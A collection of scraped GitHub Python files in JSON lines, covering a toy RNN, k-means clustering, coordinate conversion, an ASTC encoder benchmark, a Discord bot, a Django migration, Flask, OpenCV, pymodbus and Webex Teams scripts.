+{"seq_id":"4314405653","text":"# 과거의 입력이 현재의 입력에도 영향을 미치는 구조\n\nimport numpy as np\nimport torch\nimport torch.nn as nn\nimport torch.optim as optim\n\ntorch.manual_seed(777)\n\n# Dataset Construction --- Text Data Embedding\nsample_sentence = 'hi!hello.'\nchar_set = list(set(sample_sentence))\n\ndic = { c : i for i , c in enumerate(char_set)}\n\ndic_size = len(dic)\nembedding_size = dic_size # one-hot encoding 되는 size\nhidden_size = dic_size    # Output Size로 Softmax를 통해 char_set과 비교해서 tranining할 것\n\nx_batch = []\ny_batch = []\n\nx_data = [dic[c] for c in sample_sentence[:-1]]\ny_data = [dic[c] for c in sample_sentence[1:]]\n\nx_onehot = [np.eye(dic_size)[x] for x in x_data]\n\nx_batch.append(x_onehot)\ny_batch.append(y_data)\n\nX = torch.FloatTensor(x_batch)\nY = torch.LongTensor(y_batch)\n\nprint(X.shape)\nprint(Y.shape)\n\n# Create Model\nlearning_rate = 0.1\ntraininig_epochs = 50\nmodel = nn.RNN(embedding_size, hidden_size, batch_first = True)\n\n# Training\n\ncriterion = nn.CrossEntropyLoss()\noptimizer = optim.Adam(model.parameters(), lr = learning_rate)\n\nfor epoch in range(traininig_epochs):\n\n    outputs, _status = model(X) # _status = final hidden state result of batch\n    loss = criterion(outputs.reshape(-1, dic_size), Y.reshape(-1)) # 8 x 7  | 8\n\n    optimizer.zero_grad()\n    loss.backward()\n    optimizer.step()\n\n    if epoch % 5 == 4:\n        # method 1\n        result = outputs.data.numpy().argmax(axis = 2) # outputs : 1 x 8 x 7 ---\n        result_str = ''.join([char_set[c] for c in np.squeeze(result)])  # np.squeeze(result) = 8 x 7\n\n        # method 2\n        #result = torch.argmax(outputs, axis = 2)\n        #result_str = ''.join([char_set[c] for c in result.squeeze(0)])  # np.squeeze(result) = 8 x 7\n\n        print(f\" Loss : {loss.item()} | Prediction : {result_str} | True Y : {sample_sentence[1:]}\")\n","repo_name":"dldnxks12/A.I","sub_path":"Deep Learning/# AI Application/Assignment9_rnn.py","file_name":"Assignment9_rnn.py","file_ext":"py","file_size_in_byte":1839,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"71766880083","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Mon Dec 28 19:19:53 2020\r\n\r\n@author: dineshy86\r\n\"\"\"\r\n\r\nimport pandas as pd\r\nimport seaborn as sns\r\nimport matplotlib.pyplot as plt\r\n\r\n\r\nmain = pd.read_csv('S:/Hackathons/EY/datasets/main.csv')\r\n\r\nmain['state_population'] = pd.merge(main,main[['state' ,'population_x']].groupby(['state']).sum(),on= 'state')['population_x_y']\r\nmain['ccp_district'] = main['No.CCP']*(main['population_x']/main['state_population'])\r\nmain['cce_district'] = main['No.CCE']*(main['population_x']/main['state_population'])\r\n\r\n\r\ncluster = pd.DataFrame(main['District_Key'])\r\n\r\ncluster['conf/popu'] = main['Confirmed']/main['population_x']\r\ncluster['district_density'] = main['density']\r\n\r\ncluster['deaths'] = main['Deceased']\r\n\r\n\r\nmain.drop(main[main['state'] == 'Ladakh'].index,inplace = True)\r\n\r\ncluster1 = pd.DataFrame(main[['population_x','Confirmed','Active','Deceased','cce_district','ccp_district']])\r\n\r\ncluster1['Active'].plot()\r\n\r\n\r\n\r\nfig = plt.figure(figsize = (15,15))\r\nfig.subplots_adjust(wspace=0.5)\r\nfig.subplots_adjust(hspace=0.5)\r\n\r\nx = ['population_x','Confirmed','Active','Deceased','cce_district','ccp_district']\r\n\r\ntitle = ['population_x','Confirmed','Active','Deceased','cce_district','ccp_district']\r\n\r\n\r\nfor i,j,title in zip(range(1,7),x,title):\r\n    ax = fig.add_subplot(3, 2, i)\r\n    dist_comp = cluster1[j].plot(kind = 'kde',ax = ax,title = title)\r\n\r\nfrom sklearn.preprocessing import StandardScaler\r\nss1 = StandardScaler()\r\nss2 = StandardScaler()\r\nss3 = StandardScaler()\r\nss4 = StandardScaler()\r\nss5 = StandardScaler()\r\nss6 = StandardScaler()\r\n\r\ncluster1['population_x'] = ss1.fit_transform(cluster1[['population_x']])\r\ncluster1['Confirmed'] = ss1.fit_transform(cluster1[['Confirmed']])\r\ncluster1['Active'] = ss1.fit_transform(cluster1[['Active']])\r\ncluster1['Deceased'] = ss1.fit_transform(cluster1[['Deceased']])\r\ncluster1['cce_district'] = ss1.fit_transform(cluster1[['cce_district']])\r\ncluster1['ccp_district'] = ss1.fit_transform(cluster1[['ccp_district']])\r\n\r\n\r\n#optimal clusters\r\n\r\n\r\nX = pd.DataFrame(cluster1)\r\nX = X.values\r\nfrom sklearn.cluster import KMeans\r\nwcss = []\r\nfor i in range(1,20):\r\n    km = KMeans(n_clusters = i,init='k-means++', max_iter=300, n_init=10, random_state=0)\r\n    km.fit(X)\r\n    wcss.append(km.inertia_)\r\nplt.plot(range(1,20),wcss)\r\nplt.title('Elbow Method')\r\nplt.xlabel('Number of clusters')\r\nplt.ylabel('wcss')\r\nplt.show()\r\n\r\n\r\nkm8=KMeans(n_clusters=8,init='k-means++', max_iter=300, n_init=10, random_state=0)\r\ny_means = km8.fit_predict(X)\r\n\r\ncluster1['cluster'] = y_means\r\nmain['cluster'] = y_means\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n","repo_name":"dineshy98/EY_Prioritize-vaccine-delivery-using-AI-ML","sub_path":"notebooks/clustering model.py","file_name":"clustering model.py","file_ext":"py","file_size_in_byte":2603,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"15743876626","text":"import argparse\nfrom pathlib import Path\n\nfrom utils.coordinates.utils_coord import coord_to_dji_kml, process_dgps_pts\n\n\nif __name__ == \"__main__\":\n    parser = argparse.ArgumentParser(\n        description=\"Process a CSV file with esgp:6991 coordinates and generate a new CSV file with wsg84 coords.\")\n    parser.add_argument(\"-i\", \"--input_file\", required=True, type=str, help=\"Input CSV filename to be processed\")\n    parser.add_argument(\"--height\", required=True, type=float, help=\"The takeoff height in meters\")\n\n    args = parser.parse_args()\n\n    print(\"\\nCoordinates file from DGPS to transform:\", args.input_file)\n    coordinates, heights = process_dgps_pts(args.input_file,\n                                            skip_rows_list=[0],  # usually the first row is a setup point\n                                            height_takeoff=args.height,\n                                            heights_list=[12, 48, 96], to_csv=True)\n    print('\\nHeights:')\n    [print(i, h) for i, h in enumerate(heights, start=int(coordinates[1][0]))]\n    print('\\nDJI coordinates:')\n    coord_to_dji_kml(coordinates=coordinates, path_output_file=Path(args.input_file).parent / 'pilot.kml')\n","repo_name":"navotoz/DualTauUAV","sub_path":"transform_coord.py","file_name":"transform_coord.py","file_ext":"py","file_size_in_byte":1187,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"13531806238","text":"import os\nimport subprocess as sp\nimport re\nimport sys\n\nLOG_COMMANDS = False\nLOG_PATTERN = re.compile(r\"\\s*Coding rate:\\s*(.*)\\s*MT/s\")\n\nISPC_BIN = \"./Binaries/ISPC/ispc_astc.exe\"\nISPC_QUALITY = [\"rgba\", \"rgb\"]\n\nASTC_BIN = \"./bin/astcenc-avx2\"\nASTC_QUALITY = [\"0\", \"8\", \"10\", \"20\", \"30\", \"40\", \"50\", \"60\"]\n\nTEST_BLOCK_SIZES = [\"4x4\", \"6x6\", \"8x8\"]\n\nTEST_IMAGE = \"./Test/Images/Kodak/LDR-RGB/ldr-rgb-kodak%02u.png\"\nTEST_RANGE = 24\nTEST_REPEATS = 5\n\nOUT_CIMAGE = \"out.astc\"\nOUT_DIMAGE = \"out.png\"\n\n\ndef run(command):\n    if LOG_COMMANDS:\n        print(\" \".join(command))\n\n    return sp.run(command, capture_output=True, universal_newlines=True)\n\n\ndef run_astcenc(in_image, out_image, block_size, quality):\n    args = [ASTC_BIN, \"-tl\", in_image, out_image, block_size, quality, \"-j\", \"1\"]\n    result = run(args)\n    return float(LOG_PATTERN.search(result.stdout).group(1))\n\n\ndef run_ispc(in_image, out_image, block_size, quality):\n    args = [ISPC_BIN, in_image, out_image, block_size, quality]\n    result = run(args)\n    return float(LOG_PATTERN.search(result.stdout).group(1))\n\n\ndef decompress(in_image, out_image):\n    args = [ASTC_BIN, \"-dl\", in_image, out_image]\n    result = run(args)\n    os.remove(in_image)\n\n\ndef compare(in_image, out_image):\n    args = [\"compare\", \"-metric\", \"PSNR\", in_image, out_image, \"diff.png\"]\n    result = run(args)\n    os.remove(\"diff.png\")\n    os.remove(out_image)\n    return float(result.stderr)\n\n\ndef main():\n    \"\"\"\n    The main function.\n\n    Returns:\n        int: The process return code.\n    \"\"\"\n    # ISPC Tests\n    for block_size in TEST_BLOCK_SIZES:\n        for quality in ISPC_QUALITY:\n            print(f\"ISPC {quality} {block_size}\")\n            print(f\"ISPC {quality} {block_size}\", file=sys.stderr)\n            for index in range(1, TEST_RANGE + 1):\n                result_rate = 0.0\n                for repeat in range(0, TEST_REPEATS):\n                    image = TEST_IMAGE % index\n                    result_rate += run_ispc(image, OUT_CIMAGE, block_size, quality)\n                    decompress(OUT_CIMAGE, OUT_DIMAGE)\n                    result_error = compare(image, OUT_DIMAGE)\n                result_rate /= TEST_REPEATS\n\n                print(\"%s,Kodak%02u,%0.4f,%0.4f\" % (block_size, index, result_rate, result_error))\n\n    # ASTCENC Tests\n    for block_size in TEST_BLOCK_SIZES:\n        for quality in ASTC_QUALITY:\n            print(f\"ASTC {quality} {block_size}\")\n            print(f\"ASTC {quality} {block_size}\", file=sys.stderr)\n            for index in range(1, TEST_RANGE + 1):\n                result_rate = 0.0\n                for repeat in range(0, TEST_REPEATS):\n                    image = TEST_IMAGE % index\n                    result_rate += run_astcenc(image, OUT_DIMAGE, block_size, quality)\n                    result_error = compare(image, OUT_DIMAGE)\n                result_rate /= TEST_REPEATS\n\n                print(\"%s,Kodak%02u,%0.4f,%0.4f\" % (block_size, index, result_rate, result_error))\n\n    return 0\n\n\nif __name__ == \"__main__\":\n    try:\n        sys.exit(main())\n    except sp.CalledProcessError as ex:\n        print(ex.stdout)\n        print(ex.stderr)\n","repo_name":"ARM-software/astc-encoder","sub_path":"Test/astc_test_competitive.py","file_name":"astc_test_competitive.py","file_ext":"py","file_size_in_byte":3137,"program_lang":"python","lang":"en","doc_type":"code","stars":892,"dataset":"github-code","pt":"3"}
+{"seq_id":"75030202001","text":"\"\"\"Holds the custom Bot subclass.\"\"\"\n\nimport random\nimport logging\n\nimport asyncio\nimport discord\nfrom discord.ext import commands, tasks\n\nfrom bot import utils\n\n\nclass Bot(commands.Bot):\n\n    def __init__(self, *args, **kwargs):\n        super().__init__(*args, **kwargs)\n        self.help_command = utils.HelpCommand()\n\n    async def on_ready(self):\n        logging.info(\"Logged in as: %s\", self.user.name)\n        self.update_presence.start()\n\n    async def on_command_error(self, ctx, error):\n        if isinstance(error, commands.MissingRequiredArgument):\n            await ctx.send(embed=utils.Embed(\n                title=f\"Error: **Missing Required Argument: '{error.param.name}'**\",\n                description=f\"You can use `{ctx.prefix}help {ctx.command.full_parent_name} {ctx.command.name}` for help.\"))\n        elif isinstance(error, (commands.CommandNotFound, commands.MissingRole)):\n            return\n        else:\n            logging.error(error)\n            raise error\n\n    @tasks.loop(minutes=1)\n    async def update_presence(self):\n        \"\"\"Loop to update the bot presence by selecting one of the strings at random.\"\"\"\n        await self.change_presence(activity=discord.Game(random.choice([\n            \"!help to get started\",\n            \"You're at Checkpoint 1!\",\n            \"Signup for the Checkpoint In-House!\",\n            \"Powered by Radia!\",\n            \"sponsored by shellenforf institute\",\n            \"Twitter: @Checkpoint1SPL\",\n            \"Icon by @MochaSplats!\",\n            \"I kid you not Star, she turns herself into a sucklet\",\n            \"Helpdesk needs you Mocha\",\n            #\"Vin\",\n            #\"Lily\",\n            #\"yoru\",\n            #\"robyn\",\n            #\"Knight\",\n            #\"Vicvillon\",\n        ])))\n","repo_name":"LeptoFlare/CheckpointBot","sub_path":"bot/bot.py","file_name":"bot.py","file_ext":"py","file_size_in_byte":1754,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"15136138302","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\nfrom django.conf import settings\n\n\nclass Migration(migrations.Migration):\n\n    dependencies = [\n        ('cards', '0002_auto_20150131_1611'),\n    ]\n\n    operations = [\n        migrations.AddField(\n            model_name='deck',\n            name='subtitle',\n            field=models.CharField(max_length=255, verbose_name='\\u041f\\u043e\\u0434\\u0437\\u0430\\u0433\\u043e\\u043b\\u043e\\u0432\\u043e\\u043a', blank=True),\n            preserve_default=True,\n        ),\n        migrations.AlterField(\n            model_name='card',\n            name='back',\n            field=models.CharField(max_length=255, verbose_name='\\u041f\\u0435\\u0440\\u0435\\u0432\\u043e\\u0434', blank=True),\n            preserve_default=True,\n        ),\n        migrations.AlterField(\n            model_name='card',\n            name='example',\n            field=models.TextField(verbose_name='\\u041f\\u0440\\u0438\\u043c\\u0435\\u0440 \\u0443\\u043f\\u043e\\u0442\\u0440\\u0435\\u0431\\u043b\\u0435\\u043d\\u0438\\u044f', blank=True),\n            preserve_default=True,\n        ),\n        migrations.AlterField(\n            model_name='card',\n            name='front',\n            field=models.ForeignKey(verbose_name='\\u0412\\u0435\\u0440\\u0445', to='cards.CardFront'),\n            preserve_default=True,\n        ),\n        migrations.AlterField(\n            model_name='card',\n            name='icon',\n            field=models.ImageField(upload_to=b'card_icon/%Y_%m_%d', verbose_name='\\u0418\\u043a\\u043e\\u043d\\u043a\\u0430', blank=True),\n            preserve_default=True,\n        ),\n        migrations.AlterField(\n            model_name='card',\n            name='image',\n            field=models.ImageField(upload_to=b'card_image/%Y_%m_%d', verbose_name='\\u0418\\u0437\\u043e\\u0431\\u0440\\u0430\\u0436\\u0435\\u043d\\u0438\\u0435', blank=True),\n            preserve_default=True,\n        ),\n        migrations.AlterField(\n            model_name='deck',\n            name='author',\n            field=models.ForeignKey(verbose_name='\\u0410\\u0432\\u0442\\u043e\\u0440', to=settings.AUTH_USER_MODEL),\n            preserve_default=True,\n        ),\n        migrations.AlterField(\n            model_name='deck',\n            name='cards',\n            field=models.ManyToManyField(to='cards.Card', verbose_name='\\u041a\\u0430\\u0440\\u0442\\u043e\\u0447\\u043a\\u0438', blank=True),\n            preserve_default=True,\n        ),\n        migrations.AlterField(\n            model_name='deck',\n            name='created',\n            field=models.DateTimeField(auto_now_add=True, verbose_name='\\u0421\\u043e\\u0437\\u0434\\u0430\\u043d\\u0430'),\n            preserve_default=True,\n        ),\n        migrations.AlterField(\n            model_name='deck',\n            name='description',\n            field=models.TextField(verbose_name='\\u0422\\u0435\\u043a\\u0441\\u0442', blank=True),\n            preserve_default=True,\n        ),\n        migrations.AlterField(\n            model_name='deck',\n            name='image',\n            field=models.ImageField(upload_to=b'card_deck/%Y_%m_%d', verbose_name='\\u0418\\u0437\\u043e\\u0431\\u0440\\u0430\\u0436\\u0435\\u043d\\u0438\\u0435', blank=True),\n            preserve_default=True,\n        ),\n        migrations.AlterField(\n            model_name='deck',\n            name='modified',\n            field=models.DateTimeField(auto_now=True, verbose_name='\\u041c\\u043e\\u0434\\u0438\\u0444\\u0438\\u0446\\u0438\\u0440\\u043e\\u0432\\u0430\\u043d\\u0430'),\n            preserve_default=True,\n        ),\n        migrations.AlterField(\n            model_name='deck',\n            name='name',\n            field=models.CharField(max_length=255, verbose_name='\\u0417\\u0430\\u0433\\u043e\\u043b\\u043e\\u0432\\u043e\\u043a'),\n            preserve_default=True,\n        ),\n        migrations.AlterField(\n            model_name='deck',\n            name='similar_decks',\n            field=models.ManyToManyField(related_name='similar_decks_rel_+', verbose_name='\\u041f\\u043e\\u0445\\u043e\\u0436\\u0438\\u0435 \\u043d\\u0430\\u0431\\u043e\\u0440\\u044b', to='cards.Deck', blank=True),\n            preserve_default=True,\n        ),\n        migrations.AlterField(\n            model_name='deck',\n            name='weight',\n            field=models.PositiveIntegerField(default=0, verbose_name='\\u0412\\u0435\\u0441'),\n            preserve_default=True,\n        ),\n    ]\n","repo_name":"leha-games/engus-old5","sub_path":"engus/cards/migrations/0003_auto_20150131_1623.py","file_name":"0003_auto_20150131_1623.py","file_ext":"py","file_size_in_byte":4364,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"3819733395","text":"#!/usr/bin/python3\n\"\"\" A simple flask web application that runs at 0.0.0.0:5000 \"\"\"\n\nfrom flask import Flask, render_template\nfrom models import storage\nfrom models.state import State\n\napp = Flask(__name__)\n\n\n@app.teardown_appcontext\ndef teardown_session(exception):\n    \"\"\" Teardown session \"\"\"\n    storage.close()\n\n\n@app.route(\"/states_list\", strict_slashes=False)\ndef states_list():\n    states = storage.all(State)\n    s_list = {value.id: value.name for value in states.values()}\n    return render_template('7-states_list.html',\n                           Table=\"States\",\n                           items=s_list)\n\n\nif __name__ == '__main__':\n    app.run(host='0.0.0.0', port=5000)\n","repo_name":"AAndrews-1982/holbertonschool-AirBnB_clone_v2","sub_path":"web_flask/7-states_list.py","file_name":"7-states_list.py","file_ext":"py","file_size_in_byte":684,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"3"}
+{"seq_id":"18892032048","text":"# otsu 의 바법을 이용한 그레이스케일 이미지 이진화\n# 클래스를 추출하는데 otsu의 방법을 사용하여 그레이스케일 이미지를 이진 이미지로 변환한다\n\nimport cv2\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n# 이미지를 흑백으로 읽어옵니다.\nimage = cv2.imread('ara.jpg',cv2.IMREAD_GRAYSCALE)\n\notsu_thres, otsu_mask = cv2.threshold(image,-1,1,cv2.THRESH_BINARY | cv2.THRESH_OTSU)\nprint(\"측정된 임계값 : \", otsu_thres)\n\nplt.figure()\nplt.subplot(121)\nplt.axis('off')\nplt.title('original')\nplt.imshow(image,cmap='gray')\nplt.subplot(122)\nplt.axis('off')\nplt.title('otsu')\nplt.imshow(otsu_mask, cmap='gray')\nplt.tight_layout()\nplt.show()","repo_name":"rinha7/OpenCV","sub_path":"opencv/otsumethod.py","file_name":"otsumethod.py","file_ext":"py","file_size_in_byte":702,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"22792989273","text":"version = [0, 0, 1, 1]\n\n\ndef isBadVersion(n):\n    return bool(version[n - 1])\n\n\ndef firstBadVersion(n):\n    \"\"\"\n    :type n: int\n    :rtype: int\n    \"\"\"\n    \n    if n < 3:\n        if isBadVersion(1):\n            return 1\n        else:\n            return 2\n    \n    head = 1\n    tail = n\n    \n    while head < tail:\n        half = (head + tail) // 2\n        if isBadVersion(half):\n            if not isBadVersion(half - 1):\n                return half\n            else:\n                tail = half - 1\n        else:\n            if isBadVersion(half + 1):\n                return half + 1\n            else:\n                head = half\n    return head\n\n\nprint(firstBadVersion(4))\n","repo_name":"qq1334713380/leetcode","sub_path":"算法/base/search/02.py","file_name":"02.py","file_ext":"py","file_size_in_byte":676,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"39538024142","text":"#!/usr/bin/env python3\n\"\"\"Pymodbus Client Payload Example.\n\nThis example shows how to build a client with a\ncomplicated memory layout using builder.\n\nWorks out of the box together with payload_server.py\n\"\"\"\nimport asyncio\nfrom collections import OrderedDict\n\nimport client_async\n\nfrom pymodbus.constants import Endian\nfrom pymodbus.payload import BinaryPayloadBuilder, BinaryPayloadDecoder\n\n\nORDER_DICT = {\"<\": \"LITTLE\", \">\": \"BIG\"}\n\n\nasync def run_payload_calls(client):\n    \"\"\"Run binary payload.\n\n    If you need to build a complex message to send, you can use the payload\n    builder to simplify the packing logic\n\n    Packing/unpacking depends on your CPU's word/byte order. Modbus messages\n    are always using big endian. BinaryPayloadBuilder will per default use\n    what your CPU uses.\n    The wordorder is applicable only for 32 and 64 bit values\n    Lets say we need to write a value 0x12345678 to a 32 bit register\n    The following combinations could be used to write the register\n    ++++++++++++++++++++++++++++++++++++++++++++\n    Word Order  | Byte order | Word1  | Word2  |\n    ------------+------------+--------+--------+\n        Big     |     Big    | 0x1234 | 0x5678 |\n        Big     |    Little  | 0x3412 | 0x7856 |\n       Little   |     Big    | 0x5678 | 0x1234 |\n       Little   |    Little  | 0x7856 | 0x3412 |\n    ++++++++++++++++++++++++++++++++++++++++++++\n    \"\"\"\n    for word_endian, byte_endian in (\n        (Endian.BIG, Endian.BIG),\n        (Endian.BIG, Endian.LITTLE),\n        (Endian.LITTLE, Endian.BIG),\n        (Endian.LITTLE, Endian.LITTLE),\n    ):\n        print(\"-\" * 60)\n        print(f\"Word Order: {ORDER_DICT[word_endian]}\")\n        print(f\"Byte Order: {ORDER_DICT[byte_endian]}\")\n        print()\n        builder = BinaryPayloadBuilder(\n            wordorder=word_endian,\n            byteorder=byte_endian,\n        )\n        # Normally just do:  builder = BinaryPayloadBuilder()\n        my_string = \"abcdefgh\"\n        builder.add_string(my_string)\n        builder.add_bits([0, 1, 0, 1, 1, 0, 1, 0])\n        builder.add_8bit_int(-0x12)\n        builder.add_8bit_uint(0x12)\n        builder.add_16bit_int(-0x5678)\n        builder.add_16bit_uint(0x1234)\n        builder.add_32bit_int(-0x1234)\n        builder.add_32bit_uint(0x12345678)\n        builder.add_16bit_float(12.34)\n        builder.add_16bit_float(-12.34)\n        builder.add_32bit_float(22.34)\n        builder.add_32bit_float(-22.34)\n        builder.add_64bit_int(-0xDEADBEEF)\n        builder.add_64bit_uint(0x12345678DEADBEEF)\n        builder.add_64bit_uint(0x12345678DEADBEEF)\n        builder.add_64bit_float(123.45)\n        builder.add_64bit_float(-123.45)\n        registers = builder.to_registers()\n        print(\"Writing Registers:\")\n        print(registers)\n        print(\"\\n\")\n        payload = builder.build()\n        address = 0\n        slave = 1\n        # We can write registers\n        rr = await client.write_registers(address, registers, slave=slave)\n        assert not rr.isError()\n        # Or we can write an encoded binary string\n        rr = await client.write_registers(address, payload, skip_encode=True, slave=1)\n        assert not rr.isError()\n\n        # ----------------------------------------------------------------------- #\n        # If you need to decode a collection of registers in a weird layout, the\n        # payload decoder can help you as well.\n        # ----------------------------------------------------------------------- #\n        print(\"Reading Registers:\")\n        count = len(payload)\n        rr = await client.read_holding_registers(address, count, slave=slave)\n        assert not rr.isError()\n        print(rr.registers)\n        print(\"\\n\")\n        decoder = BinaryPayloadDecoder.fromRegisters(\n            rr.registers, byteorder=byte_endian, wordorder=word_endian\n        )\n        # Make sure word/byte order is consistent between BinaryPayloadBuilder and BinaryPayloadDecoder\n        assert (\n            decoder._byteorder == builder._byteorder  # pylint: disable=protected-access\n        )\n        assert (\n            decoder._wordorder == builder._wordorder  # pylint: disable=protected-access\n        )\n\n        decoded = OrderedDict(\n            [\n                (\"string\", decoder.decode_string(len(my_string))),\n                (\"bits\", decoder.decode_bits()),\n                (\"8int\", decoder.decode_8bit_int()),\n                (\"8uint\", decoder.decode_8bit_uint()),\n                (\"16int\", decoder.decode_16bit_int()),\n                (\"16uint\", decoder.decode_16bit_uint()),\n                (\"32int\", decoder.decode_32bit_int()),\n                (\"32uint\", decoder.decode_32bit_uint()),\n                (\"16float\", decoder.decode_16bit_float()),\n                (\"16float2\", decoder.decode_16bit_float()),\n                (\"32float\", decoder.decode_32bit_float()),\n                (\"32float2\", decoder.decode_32bit_float()),\n                (\"64int\", decoder.decode_64bit_int()),\n                (\"64uint\", decoder.decode_64bit_uint()),\n                (\"ignore\", decoder.skip_bytes(8)),\n                (\"64float\", decoder.decode_64bit_float()),\n                (\"64float2\", decoder.decode_64bit_float()),\n            ]\n        )\n        print(\"Decoded Data\")\n        for name, value in iter(decoded.items()):\n            print(f\"{name}\\t{hex(value) if isinstance(value, int) else value}\")\n        print(\"\\n\")\n\n\nasync def main(cmdline=None):\n    \"\"\"Combine the setup and run.\"\"\"\n    client = client_async.setup_async_client(\n        description=\"Run asynchronous client.\", cmdline=cmdline\n    )\n    await client_async.run_async_client(client, modbus_calls=run_payload_calls)\n\n\nif __name__ == \"__main__\":\n    asyncio.run(main())  # pragma: no cover\n","repo_name":"pymodbus-dev/pymodbus","sub_path":"examples/client_payload.py","file_name":"client_payload.py","file_ext":"py","file_size_in_byte":5711,"program_lang":"python","lang":"en","doc_type":"code","stars":1951,"dataset":"github-code","pt":"3"}
+{"seq_id":"71968946002","text":"import json\n\nfrom api_adapter.osm_api_adapter import OSMApiAdapter\nfrom global_const import MINUTE, MIN_FREQUENCY\nfrom location import Border\nfrom place_constructor.personal_place import PersonalPlace\nfrom place_constructor.public_place import PublicPlace\nfrom place_constructor.temporal_place import TemporalPlace\nfrom user import User\n\n\ndef get_border(info: dict) -> Border:\n    if info.get('osm_id', None) is None:\n        return Border([])\n    coordinates = api.select_query('by_id', info['osm_id'], info.get('osm_type', 'nwr'))[0].geometry()['coordinates']\n    if isinstance(coordinates[0][0], list):\n        coordinates = coordinates[0]\n    coordinates = [coord[::-1] for coord in coordinates]\n    return Border(coordinates[0::info.get('discharge', 1)])\n\n\napi = OSMApiAdapter()\n\nfile = open('gps/data.json')\ndata = json.load(file)\n\nplaces = {}\nfor place in data['places']:\n    name = place.get('name', None)\n    frequency = place.get('frequency', MIN_FREQUENCY) * MINUTE\n    places[place['id']] = {'PublicPlace': PublicPlace(name, frequency, place.get('tags', []), api),\n                           'PersonalPlace': PersonalPlace(name, frequency, get_border(place)),\n                           'TemporalPlace': TemporalPlace(name, frequency),\n                           'city': get_border(place)\n                           }[place['category']]\n\nusers = []\nfor user in data['users']:\n    user_places = {'places': [places[i] for i in user['places']],\n                   'cities': [places[i] for i in user['cities']],\n                   'temporal': {places[i].name: places[i] for i in user['temporal']}}\n    users.append(User(user['app_cloud_id'], user['name'], user_places))\n","repo_name":"justits/weasley_clock","sub_path":"gps/read_data.py","file_name":"read_data.py","file_ext":"py","file_size_in_byte":1678,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"70949290641","text":"import os\n\nimport yaml\nfrom webexteamssdk import WebexTeamsAPI, ApiError\n\n# specifies separate config file containing non-portable parameters\n# looks for a YAML file in the user's home directory under the subfolder \"Personal-Local\"\n# i.e. c:\\users\\jsmith\\Personal-Local\\config.yml\nCONFIG_FILE = os.path.join(os.path.expanduser('~'), \"Personal-Local\", \"config.yml\")\n\n# user agent for browser fake operations (lifted from Chrome v74)\nUSER_AGENT = ('Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'\n              ' (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36')\n\nSTALE_DAYS = 60\nEMPTY_THRESHOLD = 1\n\ndef bad_choice():\n    \"\"\"print error string and exit\"\"\"\n    print('### No spaces found or invalid selection made, exiting.')\n    exit()\n\ndef matchlist_entry(wx_space):\n    \"\"\"returns dict with space matchlist entry\"\"\"\n    return {'title': wx_space.title,\n            'lastActivity': wx_space.lastActivity,\n            'id': wx_space.id,\n            'creatorId': wx_space.creatorId}\n\ndef list_members(wx_space_id, api):\n    \"\"\"query space members and list names and email\"\"\"\n    members = api.memberships.list(roomId=wx_space_id)\n    for member in members:\n        print(f'{member.personDisplayName}, {member.personEmail}')\n\n\ndef main():\n    \"\"\"checks user's space list for single moderator spaces\"\"\"\n    with open(CONFIG_FILE, 'r') as config_file:\n        config_params = yaml.full_load(config_file)\n\n    wxteams_config = config_params['wxteams']\n    wxteams_token = wxteams_config['auth_token']\n\n    api = WebexTeamsAPI(access_token=wxteams_token)\n\n    # Grab our personId, we'll need it later\n    try:\n        myself = api.people.me()\n    except ApiError as error:\n        print(error)\n        if error.status_code == 401:\n            print('### Please check that a fresh auth token has been specified in config file. ###')\n        exit()\n\n    print('Building space list, please wait...')\n\n\n    # Populate list of query matches from full list, case insensitive\n    space_matchlist = list()\n    space_fulllist = list(api.rooms.list(type='group', sortBy='lastactivity'))\n\n    total_spaces = len(list(space_fulllist))\n    current_space = 1\n\n    for space in space_fulllist:\n        print(f'Working on {current_space} of {total_spaces}: {space.title}... ')\n        moderators = []\n        if space.isLocked:\n            print('locked')\n            memberships = api.memberships.list(roomId=space.id)\n            for membership in memberships:\n                if membership.isModerator:\n                    moderator = api.people.get(personId=membership.personId)\n                    moderators.append(moderator.displayName)\n            if len(moderators) == 1:\n                space_matchlist.append([space.title, moderators[0]])\n        else:\n            print('unlocked')\n        current_space += 1\n\n    print(space_matchlist)\n\n\n\n\nif __name__ == \"__main__\":\n    main()\n","repo_name":"fredless/ciscoCollabCloudTools","sub_path":"space_singlemods.py","file_name":"space_singlemods.py","file_ext":"py","file_size_in_byte":2889,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
